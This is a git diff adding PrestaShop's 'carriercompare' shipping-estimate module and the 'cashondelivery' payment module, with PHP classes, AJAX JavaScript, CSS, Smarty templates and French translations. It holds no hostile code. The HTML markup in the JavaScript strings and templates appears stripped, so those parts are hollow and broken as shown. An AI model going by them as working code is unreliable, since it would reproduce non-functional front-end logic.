die(Tools::jsonEncode($carrierCompare->getStatesByIdCountry((int)Tools::getValue('id_country')))); + break; + case 'getCarriers': + die(Tools::jsonEncode($carrierCompare->getCarriersListByIdZone((int)Tools::getValue('id_country'), (int)Tools::getValue('id_state', 0), Tools::safeOutput(Tools::getValue('zipcode', 0))))); + break; + case 'saveSelection': + $errors = $carrierCompare->saveSelection((int)Tools::getValue('id_country'), (int)Tools::getValue('id_state', 0), Tools::getValue('zipcode', 0), (int)Tools::getValue('id_carrier', 0)); + die(Tools::jsonEncode($errors)); + break; + default: + exit; +} +exit; diff --git a/modules/carriercompare/carriercompare.js b/modules/carriercompare/carriercompare.js new file mode 100755 index 0000000..05713de --- /dev/null +++ b/modules/carriercompare/carriercompare.js @@ -0,0 +1,190 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function PS_SE_HandleEvent() +{ + $(document).ready(function() { + + $('#id_country').change(function() { + resetAjaxQueries(); + updateStateByIdCountry(); + }); + if (SE_RefreshMethod == 0) + { + $('#id_state').change(function() { + resetAjaxQueries(); + updateCarriersList(); + }); + $('#zipcode').bind('blur keyup',function(e) { + if (e.type == 'blur' || e.keyCode == '13') + { + resetAjaxQueries(); + updateCarriersList(); + } + }); + } + $('#update_carriers_list').click(function() { + updateCarriersList(); + }); + $('#carriercompare_submit').click(function() { + resetAjaxQueries(); + saveSelection(); + return false; + }); + updateStateByIdCountry(); + }); +} + +function displayWaitingAjax(type, message) +{ + $('#SE_AjaxDisplay').find('p').html(message); + $('#SE_AjaxDisplay').css('display', type); +} + +function updateStateByIdCountry() +{ + $('#id_state').children().remove(); + $('#availableCarriers').slideUp('fast'); + $('#states').slideUp('fast'); + displayWaitingAjax('block', SE_RefreshStateTS); + + var query = $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/carriercompare/ajax.php' + '?rand=' + new Date().getTime(), + data: 'method=getStates&id_country=' + $('#id_country').val(), + dataType: 'json', + success: function(json) { + if (json.length) + { + for (state in json) + { + $('#id_state').append(''); + } + $('#states').slideDown('fast'); + } + if (SE_RefreshMethod == 0) + updateCarriersList(); + displayWaitingAjax('none', ''); + } + }); + ajaxQueries.push(query); +} + +function updateCarriersList() +{ + $('#carriercompare_errors_list').children().remove(); + $('#availableCarriers').slideUp('normal', function(){ + $(this).find(('tbody')).children().remove(); + $('#noCarrier').slideUp('fast'); + displayWaitingAjax('block', SE_RetrievingInfoTS); + + var query = $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/carriercompare/ajax.php' + '?rand=' + new Date().getTime(), + data: 'method=getCarriers&id_country=' + $('#id_country').val() + '&id_state=' + $('#id_state').val() + '&zipcode=' + $('#zipcode').val(), + dataType: 'json', + success: function(json) { + if (json.length) + { + for (carrier in json) + { + var html = ''+ + ''+ + ''+ + ''+ + ''+ + ''+ + ''+ + ''+((json[carrier].delay != null) ? json[carrier].delay : '') +''+ + ''; + + if (json[carrier].price) + { + html += ''+(displayPrice == 1 ? formatCurrency(json[carrier].price_tax_exc, currencyFormat, currencySign, currencyBlank) : formatCurrency(json[carrier].price, currencyFormat, currencySign, currencyBlank))+''; + } + else + { + html += txtFree; + } + html += ''+ + ''; + $('#carriers_list').append(html); + } + displayWaitingAjax('none', ''); + $('#availableCarriers').slideDown(); + } + else + { + displayWaitingAjax('none', ''); + $('#noCarrier').slideDown(); + } + } + }); + ajaxQueries.push(query); + }); +} + +function saveSelection() +{ + $('#carriercompare_errors').slideUp(); + $('#carriercompare_errors_list').children().remove(); + displayWaitingAjax('block', SE_RedirectTS); + + var query = $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/carriercompare/ajax.php' + '?rand=' + new Date().getTime(), + data: 'method=saveSelection&' + $('#compare_shipping_form').serialize(), + dataType: 'json', + success: function(json) { + if (json.length) + { + for (error in json) + $('#carriercompare_errors_list').append('
      • '+json[error]+'
      • '); + $('#carriercompare_errors').slideDown(); + displayWaitingAjax('none', ''); + } + else + { + $('.SE_SubmitRefreshCard').fadeOut('fast'); + location.reload(true); + } + } + }); + ajaxQueries.push(query); + return false; +} + +var ajaxQueries = new Array(); +function resetAjaxQueries() +{ + for (i = 0; i < ajaxQueries.length; ++i) + ajaxQueries[i].abort(); + ajaxQueries = new Array(); +} \ No newline at end of file diff --git a/modules/carriercompare/carriercompare.php b/modules/carriercompare/carriercompare.php new file mode 100755 index 0000000..910088a --- /dev/null +++ b/modules/carriercompare/carriercompare.php @@ -0,0 +1,295 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class CarrierCompare extends Module +{ + public $template_directory = ''; + public $smarty; + + public function __construct() + { + $this->name = 'carriercompare'; + $this->tab = 'shipping_logistics'; + $this->version = '1.2'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Shipping Estimate'); + $this->description = $this->l('Compares carrier choices before checkout.'); + $this->template_directory = dirname(__FILE__).'/template/'; + $this->initRetroCompatibilityVar(); + } + + // Retro-compatibiliy 1.4/1.5 + private function initRetroCompatibilityVar() + { + if (class_exists('Context')) + $smarty = Context::getContext()->smarty; + else + global $smarty; + + $this->smarty = $smarty; + } + + public function install() + { + if (!parent::install() OR !$this->registerHook('shoppingCart') OR !$this->registerHook('header')) + return false; + return true; + } + + public function getContent() + { + if (!empty($_POST)) + $this->postProcess(); + + $this->smarty->assign('refresh_method', Configuration::get('SE_RERESH_METHOD')); + return $this->smarty->fetch($this->template_directory .'configuration.tpl'); + } + + public function postProcess() + { + $errors = array(); + + if (Tools::isSubmit('setGlobalConfiguration')) + { + $method = (int)Tools::getValue('refresh_method'); + Configuration::updateValue('SE_RERESH_METHOD', $method); + } + + $this->smarty->assign(array( + 'display_error' => count($errors) ? $errors : false)); + } + + public function hookHeader($params) + { + if (!$this->isModuleAvailable()) + return; + $this->context->controller->addCSS(($this->_path).'style.css', 'all'); + $this->context->controller->addJS(($this->_path).'carriercompare.js'); + } + + /* + ** Hook Shopping Cart Process + */ + public function hookShoppingCart($params) + { + if (!$this->isModuleAvailable()) + return; + + if (!isset($this->context->cart) || $this->context->cart->getProducts() == 0) + return; + + $protocol = (Configuration::get('PS_SSL_ENABLED') || (!empty($_SERVER['HTTPS']) + && strtolower($_SERVER['HTTPS']) != 'off')) ? 'https://' : 'http://'; + + $endURL = __PS_BASE_URI__.'modules/carriercompare/'; + + if (method_exists('Tools', 'getShopDomainSsl')) + $moduleURL = $protocol.Tools::getShopDomainSsl().$endURL; + else + $moduleURL = $protocol.$_SERVER['HTTP_HOST'].$endURL; + + $refresh_method = Configuration::get('SE_RERESH_METHOD'); + + if(isset($this->context->cookie->id_country) && $this->context->cookie->id_country > 0) + $id_country = (int)$this->context->cookie->id_country; + if(!isset($id_country)) + $id_country = (isset($this->context->customer->geoloc_id_country) ? (int)$this->context->customer->geoloc_id_country : (int)Configuration::get('PS_COUNTRY_DEFAULT')); + if (isset($this->context->customer->id) && $this->context->customer->id && isset($this->context->cart->id_address_delivery) && $this->context->cart->id_address_delivery) + { + $address = new Address((int)($this->context->cart->id_address_delivery)); + $id_country = (int)$address->id_country; + } + + + if(isset($this->context->cookie->id_state) && $this->context->cookie->id_state > 0) + $id_state = (int)$this->context->cookie->id_state; + if(!isset($id_state)) + $id_state = (isset($this->context->customer->geoloc_id_state) ? (int)$this->context->customer->geoloc_id_state : 0); + + if(isset($this->context->cookie->postcode) && $this->context->cookie->postcode > 0) + $zipcode = Tools::safeOutput($this->context->cookie->postcode); + if(!isset($zipcode)) + $zipcode = (isset($this->context->customer->geoloc_postcode) ? $this->context->customer->geoloc_postcode : ''); + + $this->smarty->assign(array( + 'countries' => Country::getCountries((int)$this->context->cookie->id_lang, true), + 'id_carrier' => ($params['cart']->id_carrier ? $params['cart']->id_carrier : Configuration::get('PS_CARRIER_DEFAULT')), + 'id_country' => $id_country, + 'id_state' => $id_state, + 'zipcode' => $zipcode, + 'currencySign' => $this->context->currency->sign, + 'currencyRate' => $this->context->currency->conversion_rate, + 'currencyFormat' => $this->context->currency->format, + 'currencyBlank' => $this->context->currency->blank, + 'new_base_dir' => $moduleURL, + 'refresh_method' => ($refresh_method === false) ? 0 : $refresh_method + )); + + return $this->smarty->fetch($this->template_directory.'carriercompare.tpl'); + } + + /* + ** Get states by Country id, called by the ajax process + ** id_state allow to preselect the selection option + */ + public function getStatesByIdCountry($id_country, $id_state = '') + { + $states = State::getStatesByIdCountry($id_country); + + return (sizeof($states) ? $states : array()); + } + + /* + ** Get carriers by country id, called by the ajax process + */ + public function getCarriersListByIdZone($id_country, $id_state = 0, $zipcode = 0) + { + // cookie saving/updating + $this->context->cookie->id_country = $id_country; + if ($id_state != 0) + $this->context->cookie->id_state = $id_state; + if ($zipcode != 0) + $this->context->cookie->postcode = $zipcode; + + $id_zone = 0; + if ($id_state != 0) + $id_zone = State::getIdZone($id_state); + if (!$id_zone) + $id_zone = Country::getIdZone($id_country); + + // Need to set the infos for carrier module ! + $this->context->cookie->id_country = $id_country; + $this->context->cookie->id_state = $id_state; + $this->context->cookie->postcode = $zipcode; + + $carriers = Carrier::getCarriersForOrder((int)$id_zone); + + return (sizeof($carriers) ? $carriers : array()); + } + + public function saveSelection($id_country, $id_state, $zipcode, $id_carrier) + { + $errors = array(); + + if (!Validate::isInt($id_state)) + $errors[] = $this->l('Invalid State ID'); + if ($id_state != 0 && !Validate::isLoadedObject(new State($id_state))) + $errors[] = $this->l('Please select a state'); + if (!Validate::isInt($id_country) || !Validate::isLoadedObject(new Country($id_country))) + $errors[] = $this->l('Please select a country'); + if (!$this->checkZipcode($zipcode, $id_country)) + $errors[] = $this->l('Depending on your country selection, please use a valid zip/postal code.'); + if (!Validate::isInt($id_carrier) || !Validate::isLoadedObject(new Carrier($id_carrier))) + $errors[] = $this->l('Please select a carrier'); + + if (sizeof($errors)) + return $errors; + + $ids_carrier = array(); + foreach (self::getCarriersListByIdZone($id_country, $id_state, $zipcode) as $carrier) + $ids_carrier[] = $carrier['id_carrier']; + if (!in_array($id_carrier, $ids_carrier)) + $errors[] = $this->l('The carrier ID isn\'t available for your selection'); + + if (sizeof($errors)) + return $errors; + + $this->context->cookie->id_country = $id_country; + $this->context->cookie->id_state = $id_state; + $this->context->cookie->postcode = $zipcode; + $this->context->cart->id_carrier = $id_carrier; + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + + $delivery_option = reset($delivery_option_list); + $id_carrier = (string)$id_carrier; + $id_carrier .= ','; + foreach ($delivery_option_list as $id_address => $options) + if (isset($options[$id_carrier])) + $this->context->cart->setDeliveryOption(array($id_address => $id_carrier)); + + if (!$this->context->cart->update()) + return array($this->l('Cannot update the shopping cart.')); + return array(); + } + + /* + ** Check the validity of the zipcode format depending of the country + */ + private function checkZipcode($zipcode, $id_country) + { + $country = new Country((int)$id_country); + if (!Validate::isLoadedObject($country)) + return true; + $zipcodeFormat = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `zip_code_format` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)$id_country); + + if (!$country->need_zip_code || !$country->zip_code_format) + return true; + + $regxMask = str_replace( + array('N', 'C', 'L'), + array( + '[0-9]', + $country->iso_code, + '[a-zA-Z]'), + $country->zip_code_format); + if (preg_match('/'.$regxMask.'/', $zipcode)) + return true; + return false; + } + + /** + * This module is shown on front office, in only some conditions + * @return bool + */ + private function isModuleAvailable() + { + $fileName = basename($_SERVER['SCRIPT_FILENAME']); + /** + * This module is only available on standard order process because + * on One Page Checkout the carrier list is already available. + */ + if (Configuration::get('PS_ORDER_PROCESS_TYPE') == 1) + return false; + /** + * If visitor is logged, the module isn't available on Front office, + * we use the account informations for carrier selection and taxes. + */ + /*if (Context::getContext()->customer->id) + return false;*/ + return true; +} +} + diff --git a/modules/carriercompare/index.php b/modules/carriercompare/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/carriercompare/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/carriercompare/loader.gif b/modules/carriercompare/loader.gif new file mode 100755 index 0000000..cd4e37c Binary files /dev/null and b/modules/carriercompare/loader.gif differ diff --git a/modules/carriercompare/logo.gif b/modules/carriercompare/logo.gif new file mode 100755 index 0000000..482ceea Binary files /dev/null and b/modules/carriercompare/logo.gif differ diff --git a/modules/carriercompare/logo.png b/modules/carriercompare/logo.png new file mode 100755 index 0000000..2d9094e Binary files /dev/null and b/modules/carriercompare/logo.png differ diff --git a/modules/carriercompare/style.css b/modules/carriercompare/style.css new file mode 100755 index 0000000..34eec62 --- /dev/null +++ b/modules/carriercompare/style.css @@ -0,0 +1,44 @@ +#compare_shipping .center {text-align: center;} + +#compare_shipping { + padding: 10px; +} + +#compare_shipping #availableCarriers { + margin-bottom: 20px; +} + +#compare_shipping #availableCarriers_table { + margin: auto; +} + +#compare_shipping ul#carriercompare_errors_list { + color: red; +} + +#compare_shipping ul#carriercompare_errors_list li { + margin-left: 30px; + text-decoration: none; + list-style: none; +} + +#SE_AjaxDisplay +{ + text-align: center; + display: none; +} + +#SE_AjaxDisplay img +{ + width: 15px; +} + +.SE_SubmitRefreshCard +{ + text-align: center; +} + +.SE_SubmitRefreshCard input +{ + display: inline; +} \ No newline at end of file diff --git a/modules/carriercompare/template/carriercompare.tpl b/modules/carriercompare/template/carriercompare.tpl new file mode 100755 index 0000000..f6f2119 --- /dev/null +++ b/modules/carriercompare/template/carriercompare.tpl @@ -0,0 +1,95 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if !$opc} + +
        +
        +

        {l s='Estimate the cost of shipping & taxes.' mod='carriercompare'}

        +

        + + +

        + +

        + + ({l s='Needed for certain carriers.' mod='carriercompare'}) +

        + +
        +
        +

        +
        + + +

        + + +

        +
        +
        +{/if} diff --git a/modules/carriercompare/template/configuration.tpl b/modules/carriercompare/template/configuration.tpl new file mode 100755 index 0000000..f9735f4 --- /dev/null +++ b/modules/carriercompare/template/configuration.tpl @@ -0,0 +1,27 @@ +{if isset($display_error)} + {if $display_error} +
        {l s='An error occured during form validation.' mod='carriercompare'}
        + {else} +
        {l s='Configuration updated' mod='carriercompare'}
        + {/if} +{/if} + +
        +
        +
        {l s='This module is only available during the standard five-step checkout process. The carrier list has already been defined for one-page checkout. ' mod='carriercompare'}.
        + {l s='Global Configuration' mod='carriercompare'} + + +
        + +

        {l s='How would you like to refresh information for a customer?' mod='carriercompare'}

        +
        + +
        + +
        +
        +
        \ No newline at end of file diff --git a/modules/carriercompare/template/index.php b/modules/carriercompare/template/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/carriercompare/template/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/carriercompare/translations/fr.php b/modules/carriercompare/translations/fr.php new file mode 100755 index 0000000..8c6fda3 --- /dev/null +++ b/modules/carriercompare/translations/fr.php @@ -0,0 +1,37 @@ +carriercompare_c65b3289df9c2c54a493dcd271d24df0'] = 'Estimation des livraisons'; +$_MODULE['<{carriercompare}prestashop>carriercompare_369f88ec14d06a2166f5fcd4e7c919f1'] = 'Module permettant de faire une estimation des coûts de livraison avant d\'entrer dans le processus de commande'; +$_MODULE['<{carriercompare}prestashop>carriercompare_1566d7b28dafe92a3beaef0c7be84288'] = 'identifiant d\'état non valable'; +$_MODULE['<{carriercompare}prestashop>carriercompare_ff22c3e7b4cd12813e2033774d987e96'] = 'Choissisez un état'; +$_MODULE['<{carriercompare}prestashop>carriercompare_fb9e838d470b2c27c2c128d127165f9e'] = 'Choississez un pays'; +$_MODULE['<{carriercompare}prestashop>carriercompare_7346db5da590c9226acab07187d813c3'] = 'Veuillez utiliser un code postal valable en fonction du pays choisi'; +$_MODULE['<{carriercompare}prestashop>carriercompare_3f63451bbacbb1c3303d99d0309fdfe9'] = 'Choississez un transporteur'; +$_MODULE['<{carriercompare}prestashop>carriercompare_b3cdf90f7e9ade805f2adbe34975240f'] = 'Cet identifiant de transporteur n\'est pas disponible pour votre sélection'; +$_MODULE['<{carriercompare}prestashop>carriercompare_f19b63c54e29865988908a07fd566480'] = 'Impossible de mettre à jour le panier'; +$_MODULE['<{carriercompare}prestashop>carriercompare_2833e625c13a70c7b84ad98c97976c9d'] = 'Rechargement de la page et mise à jour du panier...'; +$_MODULE['<{carriercompare}prestashop>carriercompare_b49f15ff6f8530a76ed954676abbc4d6'] = 'Vérification des états disponibles...'; +$_MODULE['<{carriercompare}prestashop>carriercompare_ed22df3e47c667a95dd43e59f2f38522'] = 'Récupération des informations...'; +$_MODULE['<{carriercompare}prestashop>carriercompare_e7a6ca4e744870d455a57b644f696457'] = 'Offert !'; +$_MODULE['<{carriercompare}prestashop>carriercompare_533bf2149f935df1f934e5ee55f68d20'] = 'Estimez vos frais de livraison & taxes'; +$_MODULE['<{carriercompare}prestashop>carriercompare_59716c97497eb9694541f7c3d37b1a4d'] = 'Pays'; +$_MODULE['<{carriercompare}prestashop>carriercompare_46a2a41cc6e552044816a2d04634545d'] = 'Etat'; +$_MODULE['<{carriercompare}prestashop>carriercompare_5e178542b85fb18ca3c459e9a95f4f2e'] = 'Code postal'; +$_MODULE['<{carriercompare}prestashop>carriercompare_9207f4078f515ecc8256bae33fa1f497'] = 'Nécessaires pour certains transporteurs'; +$_MODULE['<{carriercompare}prestashop>carriercompare_914419aa32f04011357d3b604a86d7eb'] = 'Transporteur'; +$_MODULE['<{carriercompare}prestashop>carriercompare_a82be0f551b8708bc08eb33cd9ded0cf'] = 'Information'; +$_MODULE['<{carriercompare}prestashop>carriercompare_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{carriercompare}prestashop>carriercompare_568ee69520d3299f2f0ea64d501b6f50'] = 'Aucun transporteur n\'est disponible pour cette sélection'; +$_MODULE['<{carriercompare}prestashop>carriercompare_1de0f9fcbe30b056483fe964aed55adc'] = 'Mettre à jour le panier'; +$_MODULE['<{carriercompare}prestashop>carriercompare_653e78154f5596fc293bf9db65110bbd'] = 'Mise a jour de la liste de transporteurs'; +$_MODULE['<{carriercompare}prestashop>configuration_a2d3779b2b18f09740a46050388e08f0'] = 'Une erreur est survenue lors de la validation du formulaire'; +$_MODULE['<{carriercompare}prestashop>configuration_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise a jour'; +$_MODULE['<{carriercompare}prestashop>configuration_99e09df7d3344d2d04153f297163affa'] = 'Ce module est disponible uniquement sur les processus de commande standard, car sur le One Page Checkout la liste des transporteurs est déjà disponible.'; +$_MODULE['<{carriercompare}prestashop>configuration_6408d076fa6417e7bc8ddc3cdf9a0644'] = 'Configuration globale'; +$_MODULE['<{carriercompare}prestashop>configuration_4c1f76824b0d7333652d5f64a3e07ef5'] = 'N\'importe quand'; +$_MODULE['<{carriercompare}prestashop>configuration_31efb362f3723b55bfa28f3551a672f7'] = 'Quand toutes les informations sont complètes'; +$_MODULE['<{carriercompare}prestashop>configuration_9c7cc22fb61d22cf2560f172ea85ab7b'] = 'Défini la manière dont l\'information présentée à l\'utilisateur doit être rafraîchie'; +$_MODULE['<{carriercompare}prestashop>configuration_a4d3b161ce1309df1c4e25df28694b7b'] = 'Soumettre'; diff --git a/modules/carriercompare/translations/index.php b/modules/carriercompare/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/carriercompare/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cashondelivery/cashondelivery.gif b/modules/cashondelivery/cashondelivery.gif new file mode 100755 index 0000000..926ce1d Binary files /dev/null and b/modules/cashondelivery/cashondelivery.gif differ diff --git a/modules/cashondelivery/cashondelivery.jpg b/modules/cashondelivery/cashondelivery.jpg new file mode 100755 index 0000000..cb9c6a5 Binary files /dev/null and b/modules/cashondelivery/cashondelivery.jpg differ diff --git a/modules/cashondelivery/cashondelivery.php b/modules/cashondelivery/cashondelivery.php new file mode 100755 index 0000000..cb0f074 --- /dev/null +++ b/modules/cashondelivery/cashondelivery.php @@ -0,0 +1,91 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class CashOnDelivery extends PaymentModule +{ + public function __construct() + { + $this->name = 'cashondelivery'; + $this->tab = 'payments_gateways'; + $this->version = '0.4'; + $this->author = 'PrestaShop'; + $this->need_instance = 1; + + $this->currencies = false; + + parent::__construct(); + + $this->displayName = $this->l('Cash on delivery (COD)'); + $this->description = $this->l('Accept cash on delivery payments'); + + /* For 1.4.3 and less compatibility */ + $updateConfig = array('PS_OS_CHEQUE', 'PS_OS_PAYMENT', 'PS_OS_PREPARATION', 'PS_OS_SHIPPING', 'PS_OS_CANCELED', 'PS_OS_REFUND', 'PS_OS_ERROR', 'PS_OS_OUTOFSTOCK', 'PS_OS_BANKWIRE', 'PS_OS_PAYPAL', 'PS_OS_WS_PAYMENT'); + if (!Configuration::get('PS_OS_PAYMENT')) + foreach ($updateConfig as $u) + if (!Configuration::get($u) && defined('_'.$u.'_')) + Configuration::updateValue($u, constant('_'.$u.'_')); + } + + public function install() + { + if (!parent::install() OR !$this->registerHook('payment') OR !$this->registerHook('paymentReturn')) + return false; + return true; + } + + public function hookPayment($params) + { + if (!$this->active) + return ; + + global $smarty; + + // Check if cart has product download + foreach ($params['cart']->getProducts() AS $product) + { + $pd = ProductDownload::getIdFromIdProduct((int)($product['id_product'])); + if ($pd AND Validate::isUnsignedInt($pd)) + return false; + } + + $smarty->assign(array( + 'this_path' => $this->_path, + 'this_path_ssl' => Tools::getShopDomainSsl(true, true).__PS_BASE_URI__.'modules/'.$this->name.'/' + )); + return $this->display(__FILE__, 'payment.tpl'); + } + + public function hookPaymentReturn($params) + { + if (!$this->active) + return ; + + return $this->display(__FILE__, 'confirmation.tpl'); + } +} diff --git a/modules/cashondelivery/controllers/front/index.php b/modules/cashondelivery/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cashondelivery/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cashondelivery/controllers/front/validation.php b/modules/cashondelivery/controllers/front/validation.php new file mode 100755 index 0000000..f85e149 --- /dev/null +++ b/modules/cashondelivery/controllers/front/validation.php @@ -0,0 +1,79 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class CashondeliveryValidationModuleFrontController extends ModuleFrontController +{ + public $ssl = true; + + public function postProcess() + { + if ($this->context->cart->id_customer == 0 || $this->context->cart->id_address_delivery == 0 || $this->context->cart->id_address_invoice == 0 || !$this->module->active) + Tools::redirectLink(__PS_BASE_URI__.'order.php?step=1'); + + // Check that this payment option is still available in case the customer changed his address just before the end of the checkout process + $authorized = false; + foreach (Module::getPaymentModules() as $module) + if ($module['name'] == 'cashondelivery') + { + $authorized = true; + break; + } + if (!$authorized) + die(Tools::displayError('This payment method is not available.')); + + $customer = new Customer($this->context->cart->id_customer); + if (!Validate::isLoadedObject($customer)) + Tools::redirectLink(__PS_BASE_URI__.'order.php?step=1'); + + if (Tools::getValue('confirm')) + { + $customer = new Customer((int)$this->context->cart->id_customer); + $total = $this->context->cart->getOrderTotal(true, Cart::BOTH); + $this->module->validateOrder((int)$this->context->cart->id, Configuration::get('PS_OS_PREPARATION'), $total, $this->module->displayName, null, array(), null, false, $customer->secure_key); + Tools::redirectLink(__PS_BASE_URI__.'order-confirmation.php?key='.$customer->secure_key.'&id_cart='.(int)$this->context->cart->id.'&id_module='.(int)$this->module->id.'&id_order='.(int)$this->module->currentOrder); + } + } + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + $this->display_column_left = false; + parent::initContent(); + + $this->context->smarty->assign(array( + 'total' => $this->context->cart->getOrderTotal(true, Cart::BOTH), + 'this_path' => $this->module->getPathUri(), + 'this_path_ssl' => Tools::getShopDomainSsl(true, true).__PS_BASE_URI__.'modules/'.$this->module->name.'/' + )); + + $this->setTemplate('validation.tpl'); + } +} diff --git a/modules/cashondelivery/controllers/index.php b/modules/cashondelivery/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cashondelivery/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cashondelivery/index.php b/modules/cashondelivery/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cashondelivery/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cashondelivery/logo.gif b/modules/cashondelivery/logo.gif new file mode 100755 index 0000000..a082499 Binary files /dev/null and b/modules/cashondelivery/logo.gif differ diff --git a/modules/cashondelivery/logo.png b/modules/cashondelivery/logo.png new file mode 100755 index 0000000..2b7b268 Binary files /dev/null and b/modules/cashondelivery/logo.png differ diff --git a/modules/cashondelivery/translations/fr.php b/modules/cashondelivery/translations/fr.php new file mode 100755 index 0000000..4c345e2 --- /dev/null +++ b/modules/cashondelivery/translations/fr.php @@ -0,0 +1,24 @@ +cashondelivery_1f9497d3e8bac9b50151416f04119cec'] = 'Comptant à la livraison'; 